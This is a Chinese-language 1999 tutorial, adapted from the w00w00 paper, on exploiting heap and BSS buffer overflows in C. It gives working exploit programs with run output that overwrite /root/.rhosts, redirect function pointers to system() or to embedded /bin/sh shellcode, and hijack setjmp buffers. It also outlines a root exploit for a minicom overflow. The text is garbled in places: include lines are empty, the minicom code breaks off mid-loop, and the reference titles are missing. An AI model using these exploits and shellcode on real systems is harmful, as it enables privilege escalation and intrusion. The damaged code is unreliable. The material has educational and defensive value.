Heap/BSS 溢出机理分析 warning3<@hotmail.com> 1999.12 [前言： ] [ 这篇文章主要是基于w00w00发表的: ] [ w00w00 on Heap Overflows ] [By: Matt Conover (a.k.a. Shok) & w00w00 Security Team ] [-----------------------------------------------------------------------] [Copyright (C) January 1999, Matt Conover & w00w00 Security Development ] [ 也补充了一些程序和自己的想法. ] [ 非常感谢Matt Conover (Shok)给予的热情帮助. ] [ (Thank Shok for his great work and help ) ] [ 你可以从下面的地址获取原文: ] [ http://http://www.w00w00.org/articles.html ] [ 由于时间较紧，疏漏之处难免，任何意见和建议请发给warning3@hotmail.com ] 虽然基于Heap(堆)/BSS的溢出现在是相当普遍的，但并没有多少介绍它的资料。 本文将帮你理解什么是Heap溢出，也介绍了几种常用的攻击方法，同时给出了一些可 能的解决方案。阅读本文，您需要了解一些汇编，C语言以及堆栈溢出的基本知识。 一.为什么Heap/BSS溢出很重要？ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 堆栈溢出的问题已经广为人知，越来越多的操作系统商家增加了不可执行堆栈的补 丁，一些个人也提供了自己的补丁，象著名的Solar Designer提供的针对Linux的不可 执行堆栈的kernel patch(目前已经推出了用于2.2.13内核的patch)，也有一些人开发 了一些编译器来防止堆栈溢出，象Crispin Cowan等开发的StackGuard等等。这些方法 都一定程度上可以减少由堆栈溢出导致的安全问题，但是并却不能防止Heap/BSS的溢出。 在大多数的操作系统中，Heap和BSS段都是可写可执行的。这就使得Heap/BSS的溢出成 为可能。 大部分的基于heap的溢出都是不依赖于系统和硬件结构的，这将在后面进一步介绍。 二.一些概念 ~~~~~~~~~~~ 一个可执行的文件（比如常见的ELF--Executable and Linking Format格式的可执行 文件)通常包含多个段，比如：PLT(过程连接表），GOT(全局偏移表）,init(包含在初始化 时执行的指令），fini(包含程序终止时要执行的指令），以及ctors和dtors(包含一些全 局构造指令和析构指令） 所谓HEAP，就是由应用程序动态分配的内存区。在这里，"由应用程序"来分配是值得特别注 意的，因为在一个好的操作系统中，大部分的内存区实际上是在内核一级被动态分配的，而 Heap段则是由应用程序来分配的。它在编译的时候被初始化。 BSS段包含未被初始化的数据，在程序运行的时候才被分配。在被写入数据前，它始终保持 全零（至少从应用程序的角度看是这样的） 在大部分的系统中，Heap段是向上增长的（向高址方向增长）。因此，当我们说"X在Y的 下面"时,就是指"X的地址低于Y的地址"。 注意：下面提到的"基于heap的溢出"既包含HEAP段的溢出，也包含BSS段的溢出。 三.Heap/BSS溢出攻击 在这一部分中我们将介绍几种不同的利用Heap/BSS溢出的方法。大部分的例子都是针对 x86 Unix系统的。做一些适当的改变，也可以用于DOS和Windows系统。我们也介绍了几种专 门针对DOS/Windows的攻击方法。 注意： 在本文中，为了简单起见，我们使用了精确的偏移量。偏移量必须与实际的值相等，攻 击程序才能工作。当然你也可以象通常的堆栈攻击方法那样，通过提供多个返回地址及插入 空指令等方法以增加成功的机率。 下面的这个例子是给那些不熟悉Heap溢出的人看的，我会做一些简单的解释： ----------------------------------------------------------------------------- /* 演示在heap段(已初始化的数据)发生的动态缓冲区溢出 */ #include #include #include #include #define BUFSIZE 16 #define OVERSIZE 8 /* 我们将覆盖buf2的前OVERSIZE个字节 */ int main() { u_long diff; char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE); diff = (u_long)buf2 - (u_long)buf1; printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d)bytes\n", buf1, buf2, diff, diff); memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0';/* 将buf2用'A'填充 */ printf("before overflow: buf2 = %s\n", buf2); memset(buf1, 'B', (u_int)(diff + OVERSIZE)); /* 用diff+OVERSIZE个'B'填充buf1 */ printf("after overflow: buf2 = %s\n", buf2); return 0; } ----------------------------------------------------------------------------- 当我们运行它后，得到下面的结果： [warning3@testserver basic]$ ./heap1 8 buf1 = 0x8049858, buf2 = 0x8049870, diff = 0x18 (24)bytes before overflow: buf2 = AAAAAAAAAAAAAAA after overflow: buf2 = BBBBBBBBAAAAAAA 我们看到buf2的前8个字节被覆盖了。这是因为往buf1中填写的数据超出了它的边界进入了 buf2的范围。由于buf2的数据仍然在有效的heap区内，程序仍然可以正常结束。另外我们 可以注意到，虽然buf1和buf2是相继分配的，但他们并不是紧挨着的，而是有8个字节的间 距，这个间距可能随不同的系统环境而不同。 buf1 间距 buf2 覆盖前:[xxxxxxxxxxxxxxxx][xxxxxxxx][AAAAAAAAAAAAAAA] 低址 -----------------------------------> 高址 覆盖后:[BBBBBBBBBBBBBBBB][BBBBBBBB][BBBBBBBBAAAAAAA] 注意： 一个阻止heap溢出的可能的方法就是在heap段的所有变量之间放一个"canary"值(就象 StackGuard中所做的那样）,若这个值在执行中被改变，就认为发生了溢出。 为了解释BSS段的溢出，我们来看下面这个例子： ----------------------------------------------------------------------------- /* 演示在BSS段(未被初始化的数据)的静态缓冲区溢出 */ #include #include #include #include #include #define ERROR -1 #define BUFSIZE 16 int main(int argc, char **argv) { u_long diff; int oversize; static char buf1[BUFSIZE], buf2[BUFSIZE]; if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); fprintf(stderr, "[Will overflow static buffer by ]\n"); exit(ERROR); } diff = (u_long)buf2 - (u_long)buf1; printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d) bytes\n\n", buf1, buf2, diff, diff); memset(buf2, 'A', BUFSIZE - 1), memset(buf1, 'B', BUFSIZE - 1); buf1[BUFSIZE - 1] = '\0', buf2[BUFSIZE - 1] = '\0'; printf("before overflow: buf1 = %s, buf2 = %s\n", buf1, buf2); oversize = diff + atoi(argv[1]); memset(buf1, 'B', oversize); buf1[BUFSIZE - 1] = '\0', buf2[BUFSIZE - 1] = '\0'; printf("after overflow: buf1 = %s, buf2 = %s\n\n", buf1, buf2); return 0; } ----------------------------------------------------------------------------- 当我们运行它后，得到下面的结果： [warning3@testserver basic]$ ./heap2 8 buf1 = 0x8049874, buf2 = 0x8049884, diff = 0x10 (16) bytes before overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = AAAAAAAAAAAAAAA after overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = BBBBBBBBAAAAAAA 和heap溢出类似，buf2的前8个字节也被覆盖了。我们也可以注意到，buf1和buf2是紧挨着 的，这意味着我们可以不用猜测buf1和buf2之间的间距. buf1 buf2 覆盖前:[BBBBBBBBBBBBBBBB][AAAAAAAAAAAAAAA] 低址 ----------------------> 高址 覆盖后:[BBBBBBBBBBBBBBBB][BBBBBBBBAAAAAAA] 从上面两个简单的例子，我们可以应该已经了解Heap/BSS溢出的基本方式了。我们能用它 来覆盖一个文件名，口令或者是保存的uid等等... 下面这个例子演示了一个指针是如何被覆盖的: ----------------------------------------------------------------------------- /* 演示在BSS段(未被初始化的数据)中的静态指针溢出 */ #include #include #include #include #include #define BUFSIZE 16 #define ADDRLEN 4 /* 指针地址的长度 */ int main() { u_long diff; static char buf[BUFSIZE], *bufptr; bufptr = buf, diff = (u_long)&bufptr - (u_long)buf; printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n", &bufptr, bufptr, buf, diff, diff); memset(buf, 'A', (u_int)(diff + ADDRLEN));/* 将diff+ADDRLEN字节的'A'填充到buf中 */ printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n", &bufptr, bufptr, buf, diff, diff); return 0; } ----------------------------------------------------------------------------- 当我们运行它后，得到下面的结果： [warning3@testserver basic]$ ./heap3 bufptr (0x8049640) = 0x8049630, buf = 0x8049630, diff = 0x10 (16) bytes bufptr (0x8049640) = 0x41414141, buf = 0x8049630, diff = 0x10 (16) bytes buf bufptr 覆盖前:[xxxxxxxxxxxxxxxx][0x08049630] 低址 ------------------> 高址 覆盖后:[AAAAAAAAAAAAAAAA][0x41414141] [AAAA] 我们可以很清楚的看到，现在指针bufptr现在指向一个不同的地址(0x41414141). 如何利用这一点呢？例如我们可以重写一个临时文件名的指针，使其指向一个不同的字符 串(比如 argv[1]或是由我们提供的某个环境变量),它可以包含"/root/.rhosts"或"/etc/ passwd".... 为了说明这一点，我们再来看一个例子。这个程序会用一个临时文件来储存用户输入的 数据。 ----------------------------------------------------------------------------- /* * 这是一个很典型的有弱点的程序。它将用户的深入储存在一个临时文件中。 * * * 编译方法: gcc -o vulprog1 vulprog1.c */ #include #include #include #include #include #define ERROR -1 #define BUFSIZE 16 /* * 将攻击程序以root身份运行或者改变攻击程序中"vulfile"的值。 * 否则，即使攻击程序成功，它也不会有权限修改/root/.rhosts(缺省的例子) * */ int main(int argc, char **argv) { FILE *tmpfd; static char buf[BUFSIZE], *tmpfile; if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(ERROR); } tmpfile = "/tmp/vulprog.tmp"; /* 这里暂时不考虑链接问题 :) */ printf("before: tmpfile = %s\n", tmpfile); printf("Enter one line of data to put in %s: ", tmpfile); gets(buf); /* 导致buf溢出 */ printf("\nafter: tmpfile = %s\n", tmpfile); tmpfd = fopen(tmpfile, "w"); if (tmpfd == NULL) { fprintf(stderr, "error opening %s: %s\n", tmpfile, strerror(errno)); exit(ERROR); } fputs(buf, tmpfd); /* 将buf提供的数据存入临时文件 */ fclose(tmpfd); } ----------------------------------------------------------------------------- 这个例子中的情形在编程时是很容易发生的，很多人以为用静态数组和静态指针就会比较 安全，看了下面的攻击程序，我想你就不会这么想了.:-) ----------------------------------------------------------------------------- /* * Copyright (C) January 1999, Matt Conover & WSD * * 这个程序将用来攻击vulprog1.c.它传输参数给有弱点的程序。有弱点的程序 * 以为将我们输入的一行数据储存到了一个临时文件里。然而，因为发生了静态 * 缓冲区溢出的缘故，我们可以修改这个临时文件的指针，让它指向argv[1](我们 * 将传递"/root/.rhosts"给它）。然后程序就会将我们提供的输入数据存在"/root * /.rhosts"中。所以我们用来覆盖缓冲区的字符串将会是下面的格式： * [+ + # ][(tmpfile地址) - (buf 地址)个字符'A'][argv[1]的地址] * * "+ +"后面跟着'#'号是为了防止我们的溢出代码出问题。没有'#'(注释符),使用 * .rhosts的程序就会错误解释我们的溢出代码。 * * 编译方法: gcc -o exploit1 exploit1.c */ #include #include #include #include #define BUFSIZE 256 #define DIFF 16 /* vulprog中buf和tmpfile之间的间距 */ #define VULPROG "./vulprog1" #define VULFILE "/root/.rhosts" /* buf 中的内容将被储存在这个文件中 */ /* 得到当前堆栈的esp，用来计算argv[1]的地址 */ u_long getesp() { __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */ } int main(int argc, char **argv) { u_long addr; register int i; int mainbufsize; char *mainbuf, buf[DIFF+6+1] = "+ +\t# "; /* ------------------------------------------------------ */ if (argc <= 1) { fprintf(stderr, "Usage: %s [try 310-330]\n", argv[0]); exit(ERROR); } /* ------------------------------------------------------ */ memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); /* 将攻击代码填入buf */ memset(buf + strlen(buf), 'A', DIFF); /* 用'A'填满剩余的buf空间 */ addr = getesp() + atoi(argv[1]); /* 计算argv[1]的地址 */ /* 将地址反序排列(在小endian系统中)后存入buf+DIFF处 */ for (i = 0; i < sizeof(u_long); i++) buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255); /* 计算mainbuf的长度 */ mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13; mainbuf = (char *)malloc(mainbufsize); memset(mainbuf, 0, sizeof(mainbuf)); snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n", buf, VULPROG, VULFILE); printf("Overflowing tmpaddr to point to %p, check %s after.\n\n", addr, VULFILE); system(mainbuf); return 0; } ----------------------------------------------------------------------------- [root@testserver vulpkg1]# ./exploit1 349 Overflowing tmpaddr to point to 0xbffffe6d, check /root/.rhosts after. before: tmpfile = /tmp/vulprog.tmp Enter one line of data to put in /tmp/vulprog.tmp: after: tmpfile = /vulprog1 我们看到现在tmpfile指向argv[0]("./vulprog1"), 我们增加10个字节(argv[0]的长度): [root@testserver vulpkg1]# ./exploit1 359 Overflowing tmpaddr to point to 0xbffffe77, check /root/.rhosts after. before: tmpfile = /tmp/vulprog.tmp Enter one line of data to put in /tmp/vulprog.tmp: after: tmpfile = /root/.rhosts [root@testserver vulpkg1]# cat /root/.rhosts + + # AAAAAAAAAAw?緼A buf tmpfile 覆盖后：[+ +\t# AAAAAAAAAA][0x123445678] 我们已经成功的将"+ +"添加到了/root/.rhosts中！攻击程序覆盖了vulprog用来接受 gets()输入的静态缓冲区，并将猜测的argv[1]的地址覆盖tmpfile.我们可以在mainbuf中 放置任意长度的'A'直到发现多少个'A'才能到达tmpfile的地址。如果你有弱点程序源码的 话，可以增加"printf()"来显示出被覆盖的数据与目标数据之间的距离（比如： 'printf("%p - %p = 0x%lx bytes\n", buf2, buf1, (u_long)diff)'). 但通常这个偏移量在编译的时候会发生改变，但我们可以很容易的重新计算/猜测甚至 "暴力"猜测这个偏移量. 注意： 我们需要一个有效的地址(argv[1]的地址),我们必须将字节顺序反向(在little endian 系统中).Little endian系统通常是低字节在前(x86就是little endian系统). 因此0x12345678在内存中就是按0x78563412的顺序存放。如果我们是在big endian系统 中做这些（比如sparc)，我们就不必做反序的处理了。 迄今为止，这些例子中没有一个要求可执行的heap!这些例子都是不依赖系统和硬件 结构的(除了字节反序的部分)。这在攻击heap溢出时是非常有用的。 知道了怎么重写一个指针，我们接下来看看如何修改一个函数指针。与上面的例子不同的是， 修改函数指针的攻击要求有一个可以执行的Heap 函数指针(比如 "int (*funcptr)(char *str)")允许程序员动态修改要被调用的函数。我们 可以重写函数指针的地址，使其被执行的时候转去调用我们指定的函数（代码）。为了达到 这个目的，我们有多种选择。 首先，我们可以使用自己的shellcode,我们可以用两种方法来使用我们的shellcode： 1. argv[]方法 ： 将shellcode储存在一个程序参数中（这要求一个可执行的堆栈) 2. heap偏移方法：将shellcode储存在从heap的顶端到被覆盖的指针之间的区域中 （这要求可执行的heap) 注意： heap可执行的可能性比堆栈可执行的可能性要大得多。因此，利用heap的方法可能更 常用一些。 另外的一种方法是简单地猜测一个函数（比如system())的地址。如果我们知道攻击程序中 system()的地址，那么被攻击的程序中system()的地址应该与其相差不员，假设两个程序 在同样的情况下编译的话。这种方法的好处在于它不需要一个可执行的heap。 (另外一种方法是使用PLT(过程链接表），这里就不再详述了，有兴趣的可以看stranJer做 的绕过不可执行堆栈的攻击） 第二种方法的优点就是简单。我们可以很快得从攻击程序的system()的地址猜出有弱点程 序的system()地址。而且在远程系统中也是相同的（如果版本，操作系统和硬件结构都一 样的话)。第一种方法的优点在于我们可以利用自己的shellcode来做任意的事，而且并不 需要考虑函数指针的兼容问题，比如不管是char (*funcptr)(int a)还是void (*funcptr) ()，都可以顺利工作（第一种方法就必须考虑这些）。它的缺点就是必须要有可执行的heap /stack. 下面我们再来看一个有弱点的程序: ----------------------------------------------------------------------------- /* * Just the vulnerable program we will exploit. * Compile as: gcc -o vulprog vulprog.c (or change exploit macros) */ #include #include #include #include #define ERROR -1 #define BUFSIZE 64 int goodfunc(const char *str); /* 正常情况下要被funcptr指向的函数 */ int main(int argc, char **argv) { static char buf[BUFSIZE]; static int (*funcptr)(const char *str);/* 这个就是我们将要重写的函数指针 */ if (argc <= 2) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(ERROR); } printf("(for 1st exploit) system() = %p\n", system); printf("(for 2nd exploit, stack method) argv[2] = %p\n", argv[2]); printf("(for 2nd exploit, heap offset method) buf = %p\n\n", buf); funcptr = (int (*)(const char *str))goodfunc; printf("before overflow: funcptr points to %p\n", funcptr); memset(buf, 0, sizeof(buf)); /* 溢出有可能在这里发生，这也是很常见的一种错误的使用strncpy的例子 */ strncpy(buf, argv[1], strlen(argv[1])); printf("after overflow: funcptr points to %p\n", funcptr); (void)(*funcptr)(argv[2]); /* 正常情况下将调用goodfunc,参数为argv[2] */ return 0; } /* ---------------------------------------------- */ /* This is what funcptr would point to if we didn't overflow it */ int goodfunc(const char *str) { printf("\nHi, I'm a good function. I was passed: %s\n", str); return 0; } ----------------------------------------------------------------------------- 我们来看看第一个攻击的例子，这里采用的是使用system()的方法： ----------------------------------------------------------------------------- /* * Copyright (C) January 1999, Matt Conover & WSD * * 演示在bss段(未被初始化的数据）中覆盖静态函数指针的方法。 * * Try in the offset (argv[2]) in the range of 0-20 (10-16 is best) * To compile use: gcc -o exploit1 exploit1.c */ #include #include #include #include /* 假设funcptr与buf之间的距离（对于BSS区来说，这个值应该就是buf的大小 */ #define BUFSIZE 64 #define VULPROG "./vulprog" /* 有弱点程序的位置 */ #define CMD "/bin/sh" /* 定义如果攻击成功后要执行的命令 */ #define ERROR -1 int main(int argc, char **argv) { register int i; u_long sysaddr; static char buf[BUFSIZE + sizeof(u_long) + 1] = {0}; if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); fprintf(stderr, "[offset = estimated system() offset]\n\n"); exit(ERROR); } sysaddr = (u_long)&system - atoi(argv[1]); /* 计算system()的地址 */ printf("trying system() at 0x%lx\n", sysaddr); memset(buf, 'A', BUFSIZE); /* 在little endian系统中，需要将字节反序排列 */ for (i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255; execl(VULPROG, VULPROG, buf, CMD, NULL); return 0; } ----------------------------------------------------------------------------- 当我们运行它后，得到下面的结果： [warning3@testserver vulpkg2]$ ./exploit2 12 Trying system() at 0x80483fc system()'s address = 0x80483fc before overflow: funcptr points to 0x80485fc after overflow: funcptr points to 0x80483fc bash$ 接下来的例子中我们用了stack和heap的方法： ----------------------------------------------------------------------------- /* * Copyright (C) January 1999, Matt Conover & WSD * * 这演示了如何重写一个静态函数指针使其指向我们提供的shellcode. * 这种方法要求可执行的stack或heap * * 这个程序中有两个参数:offset和heap/stack. 对于stack方法来说， * offset为堆栈顶端到(有弱点程序的）argv[2]的距离. * 对于heap方法来说，offset为heap的顶端到被覆盖的（或指定的）buffer之间的 * 距离。 * * Try values somewhere between 325-345 for argv[] method, and 420-450 * for heap. * * To compile use: gcc -o exploit2 exploit2.c */ #include #include #include #include #define ERROR -1 #define BUFSIZE 64 /* estimated diff between buf/funcptr */ #define VULPROG "./vulprog" /* where the vulprog is */ char shellcode[] = /* just aleph1's old shellcode (linux x86) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; u_long getesp() { __asm__("movl %esp,%eax"); /* 得到当前堆栈顶端的值 */ } int main(int argc, char **argv) { register int i; u_long sysaddr; char buf[BUFSIZE + sizeof(u_long) + 1]; if (argc <= 2) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(ERROR); } if (strncmp(argv[2], "stack", 5) == 0) /* 使用堆栈的方法 */ { printf("Using stack for shellcode (requires exec. stack)\n"); sysaddr = getesp() + atoi(argv[1]); /* 计算argv[2]的地址 */ printf("Using 0x%lx as our argv[1] address\n\n", sysaddr); memset(buf, 'A', BUFSIZE + sizeof(u_long)); } else /* 使用heap的方法 */ { printf("Using heap buffer for shellcode " "(requires exec. heap)\n"); /* 计算目标buffer的地址(sbrk(0)用来得到heap的顶端地址) */ sysaddr = (u_long)sbrk(0) - atoi(argv[1]); printf("Using 0x%lx as our buffer's address\n\n", sysaddr); /* 计算是否buf与funcptr之间的距离不足以放下我们的shellcode */ /* 如果这段距离比较小的话，其实可以采用另外的方法来填充： */ /* buf funcptr sysaddr /* [sysaddr|sysaddr|...][sysaddr][shellcode] */ if (BUFSIZE + 4 + 1 < strlen(shellcode)) { fprintf(stderr, "error: buffer is too small for shellcode " "(min. = %d bytes)\n", strlen(shellcode)); exit(ERROR); } strcpy(buf, shellcode); memset(buf + strlen(shellcode), 'A', BUFSIZE - strlen(shellcode) + sizeof(u_long)); } buf[BUFSIZE + sizeof(u_long)] = '\0'; /* reverse byte order (on a little endian system) (ntohl equiv) */ for (i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255; execl(VULPROG, VULPROG, buf, shellcode, NULL); return 0; } ----------------------------------------------------------------------------- 先来看看用堆栈的方法： [warning3@testserver vulpkg3]$ ./exploit3 319 stack Using stack for shellcode (requires exec. stack) Using 0xbffffdf7 as our argv[1] address argv[1] = 0xbffffdf7 buf = 0x8049820 before: funcptr = 0x8048500 after: funcptr = 0xbffffdf7 bash$ buf funcptr 堆栈区 覆盖前:[xxxxxx...xxxxxxx][0x08048500] 低址 ------------------> 高址 覆盖后:[AAAAAA...AAAAAAA][0xbffffdf7] [shellcode] | ^ |___________| 下面是用heap的方法: [warning3@testserver vulpkg3]$ ./exploit3 836 heap Using heap buffer for shellcode (requires exec. heap) Using 0x8049820 as our buffer's address argv[1] = 0xbffffdf7 buf = 0x8049820 before: funcptr = 0x8048500 after: funcptr = 0x8049820 bash$ buf funcptr 覆盖前:[xxxxxxxxxxxxxxxx][0x08048500] 低址 ------------------> 高址 覆盖后:[shellcodeAAA...A][0x8049820] ^ |_0x8049820 从上面的例子可以看出,对于同一种问题,可以有几种不同的攻击手法.这里我们另外再介 绍一种类型的攻击.它利用了setjmp和longjmp函数.这两个函数通常用来在一些低阶函数 中处理一些错误和中断.setjmp(jmpbuf)用来保存当前的堆栈栈帧到jmpbuf中,longjmp (jmpbuf,val)将从jmpbuf中恢复堆栈栈帧,longjmp执行完后,程序继续从setjmp()的下一 条语句处执行,并将val作为setjmp()的返回值.jmpbuf中保存有寄存器bx,si,di,bp,sp,pc ,如果我们能在longjmp执行以前覆盖掉jmpbuf,我们就能重写寄存器pc.因此当longjmp恢复 保存的堆栈栈帧后,程序就可能跳到我们指定的地方去执行.至于跳转地址,可以是堆栈中, 也可以是heap中.现在我们以x86系统为例来具体解释一下. (下面的代码在Redhat 6.0 ,2.2.5下编译通过.对于其他的系统,请参考setjmp.h来修改 相应的代码) 首先我们来看一个有弱点的程序: ----------------------------------------------------------------------------- /* * This is just a basic vulnerable program to demonstrate * how to overwrite/modify jmp_buf's to modify the course of * execution. */ #include #include #include #include #include #define ERROR -1 #define BUFSIZE 16 static char buf[BUFSIZE]; jmp_buf jmpbuf; /* jmpbuf是我们想要覆盖的 */ u_long getesp() { __asm__("movl %esp,%eax"); /* 得到当前堆栈指针 */ } int main(int argc, char **argv) { u_long diff; if (argc <= 1) { fprintf(stderr, "Usage: %s \n"); exit(ERROR); } diff=(u_long)jmpbuf-(u_long)buf; printf("diff=%d\n",diff); printf("[vulprog] argv[2] = %p\n", argv[2]); printf("[vulprog] sp = 0x%lx\n\n", getesp()); if (setjmp(jmpbuf)) /* 如果大于0,那么longjmp()应该已经执行完毕了.直接执行setjmp应该返回1 */ { fprintf(stderr, "error: exploit didn't work\n"); exit(ERROR); } /* 我们打印出覆盖前后jmpbuf中保存的寄存器的值 */ printf("before:\n"); printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n", jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI], jmpbuf->__jmpbuf[JB_DI]); printf("bp = %p, sp = %p, pc = %p\n\n", jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP], jmpbuf->__jmpbuf[JB_PC]); strncpy(buf, argv[1], strlen(argv[1])); /* 这里可能导致jmpbuf被覆盖 */ printf("after:\n"); printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n", jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI], jmpbuf->__jmpbuf[JB_DI]); printf("bp = %p, sp = %p, pc = %p\n\n", jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP], jmpbuf->__jmpbuf[JB_PC]); longjmp(jmpbuf, 1); return 0; } ----------------------------------------------------------------------------- 在上面的程序中我们打印出寄存器的值,是为了看得更清楚一些,猜测起来也更容易.:-) 下面我们给出攻击程序.它利用argv[]储存代码,程序需要跳到env处执行,需要可执行堆栈. ----------------------------------------------------------------------------- /* * Copyright (C) January 1999, Matt Conover & w00w00 Security Development * * 这个程序用来演示通过覆盖jmpbuf(setjmp/longjmp)来在heap中模拟堆栈溢出的方法 * 我们将覆盖jmpbuf中保存的sp/pc寄存器值.当longjmp()被调用的时候,它将从这个地 * 址开始执行下一条指令.所以,如果我们能将代码存储在这个地址,那它就将被执行 * * This takes two arguments (offsets): * arg 1 - stack offset (should be about 25-45). * arg 2 - argv offset (should be about 310-330). */ #include #include #include #include #define ERROR -1 #define BUFSIZE 36 #define VULPROG "./vulprog4" char shellcode[] = /* just aleph1's old shellcode (linux x86) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; u_long getesp() { __asm__("movl %esp,%eax"); /* the return value goes in %eax */ } int main(int argc, char **argv) { int stackaddr, argvaddr; register int index, i, j; char buf[BUFSIZE + 24 + 1]; if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); fprintf(stderr, "[stack offset = offset to stack of vulprog\n"); fprintf(stderr, "[argv offset = offset to argv[2]]\n"); exit(ERROR); } stackaddr = getesp() - atoi(argv[1]); argvaddr = getesp() + atoi(argv[2]); printf("trying address 0x%lx for argv[2]\n", argvaddr); printf("trying address 0x%lx for sp\n\n", stackaddr); /* * The second memset() is needed, because otherwise some values * will be (null) and the longjmp() won't do our shellcode. */ memset(buf, 'A', BUFSIZE), memset(buf + BUFSIZE, 0x1, 12); buf[BUFSIZE+24] = '\0'; /* ------------------------------------- */ /* * 当设置pc指向我们的shellcode地址时,我们会覆盖jmpbuf中的ebp/esp, * 所以,我们将用正确的值重写它们. */ for (i = 0; i < sizeof(u_long); i++) /* setup BP */ { index = BUFSIZE + 12 + i; buf[index] = (stackaddr >> (i * 8)) & 255; } /* ----------------------------- */ for (i = 0; i < sizeof(u_long); i++) /* setup SP */ { index = BUFSIZE + 16 + i; buf[index] = (stackaddr >> (i * 8)) & 255; } /* ----------------------------- */ for (i = 0; i < sizeof(u_long); i++) /* setup PC */ { index = BUFSIZE + 20 + i; buf[index] = (argvaddr >> (i * 8)) & 255; } execl(VULPROG, VULPROG, buf, shellcode, NULL); return 0; } ----------------------------------------------------------------------------- 我们来看一下执行的结果: [warning3@testserver vulpkg4]$ ./exploit4 20 393 trying address 0xbffffe49 for argv[2] trying address 0xbffffcac for sp diff=36 [vulprog] argv[2] = 0xbffffe49 [vulprog] sp = 0xbffffcac before: bx = 0x401041b4, si = 0xbffffd04, di = 0x3 bp = 0xbffffcb8, sp = 0xbffffcac, pc = 0x80485c9 after: bx = 0x1010101, si = 0x1010101, di = 0x1010101 bp = 0xbffffcac, sp = 0xbffffcac, pc = 0xbffffe49 bash$ 我们已经看到，在这些例子中，heap区的溢出可以导致很大的安全问题。而在真实的环境 中，heap区的敏感数据也可能被覆盖。例如： 函数 原因 1. *gets()/*printf(), *scanf() __iob (FILE)结构储存在heap 2. popen() __iob (FILE)结构储存在heap 3. *dir() (readdir, seekdir, ...) DIR 结构 (dir/heap buffers) 4. atexit() 静态/全局函数指针 5. strdup() 在heap区动态分配数据 7. getenv() 储存数据在heap区 8. tmpnam() 储存数据在heap区 9. malloc() 链指针 10. rpc callback 函数 函数指针 11. windows callback 函数 函数指针保存在heap区 12. signal handler pointers 函数指针(注意：unix在内核中跟踪这些信号， in cygnus (gcc for win), 而不是在heap中) printf(),fget(),readir(),seekdir()等函数为FILE结构在heap中分配的空间可以被重写。 atexit()的函数指针将在程序中断时被调用。strdup()会将字符串(如文件名，口令等等) 储存在heap区。malloc()的链指针能被用来非法访问内存。getenv()将数据储存在heap中， 允许我们修改$HOME等变量。svc/rpc注册函数(librpc,libnsl等等)将回叫函数指针储存在 heap中. 现在我们来看一个真实的例子。版本低于1.81.1的minicom有不少缓冲区溢出的漏洞。 其中一个是: case 't': /* Terminal type */ 溢出 ---> strcpy(termtype, optarg); #ifdef __linux__ /* Bug in older libc's (< 4.5.26 I think) */ if ((s = getenv("TERMCAP")) != NULL && *s != '/') unsetenv("TERMCAP"); #endif termtype是static型的数组，也就是在BSS区。现在我们看看是否这块内存中有什么重要 的东西。在minicom.h中，我们看到了: EXTERN int real_uid; /* 真实的用户id */ EXTERN int real_gid; /* 真实的组id */ EXTERN int eff_uid; /* 有效的用户id */ EXTERN int eff_gid; /* 有效的组id */ 如果我们能够修改real_uid,那我们就可能获得root的特权。先让我们看看 它离termtype有多员，我们在minicom.c中插入一行代码： printf ("real_uid is at: %x\n" "termtype is at: %x\n", &real_uid,termtype); 输出结果如下: real_uid is at: 80664b4 termtype is at: 8066480 很好，real_uid的地址比termtype高52个字节.我们只要将第53,54,55,56字节赋为0即可. 但字符串中只有最后一个字节(终止符)才能为0，所以我们不得不执行4次覆盖。 getopg()可以重复的读取一个参数(这里是 -t),因此我们先让它读取termtype+55长的字 符串,这将使realid的最后一个字节为0。然后依次用termtype+54,termtype+53,termtyp e+52来覆盖。这样就会使realid的四个字节都变成0了。 ---------------------------------------------------------------------------- #include #include #include #define OFFSET 52 /* if you figure this out, you could try defining it */ //#define UTTY "/dev/ttyp0" char * makestring (int ch, int len) { static char b[500]; int i; for (i=0 ; i> <完> 参考文献: [1] <> by Matt Conover (a.k.a. Shok) & w00w00 Security Team [2] <> by Crispin Cowan, Perry Wagle, Calton Pu,Steve Beattie, and Jonathan Walpole [3] <>. "ohday" . B4B0,3(9) [4] <>. "Aleph One". Phrack, 7(49)